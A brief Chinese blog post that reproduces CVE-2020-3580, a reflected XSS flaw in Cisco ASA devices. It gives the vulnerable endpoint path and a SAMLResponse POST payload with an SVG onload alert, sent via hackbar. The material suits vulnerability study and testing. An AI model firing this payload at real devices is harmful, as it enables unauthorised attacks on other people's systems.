CISCO ASA设备的POST反射型XSS漏洞复现（CVE-2020-3580）

2022/6/9 23:50:24

编程Tag： post XSS cisco 部分 CVE 3580 hackbar

本文主要是介绍CISCO ASA设备的POST反射型XSS漏洞复现（CVE-2020-3580），对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

是这个界面的，就打开hackbar，注意url后面部分和post部分
URL部分
/+CSCOE+/saml/sp/acs?tgname=a
POST部分
SAMLResponse="><svg/onload=alert('XSSS')>

执行后就会弹窗

这篇关于CISCO ASA设备的POST反射型XSS漏洞复现（CVE-2020-3580）的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！

更多>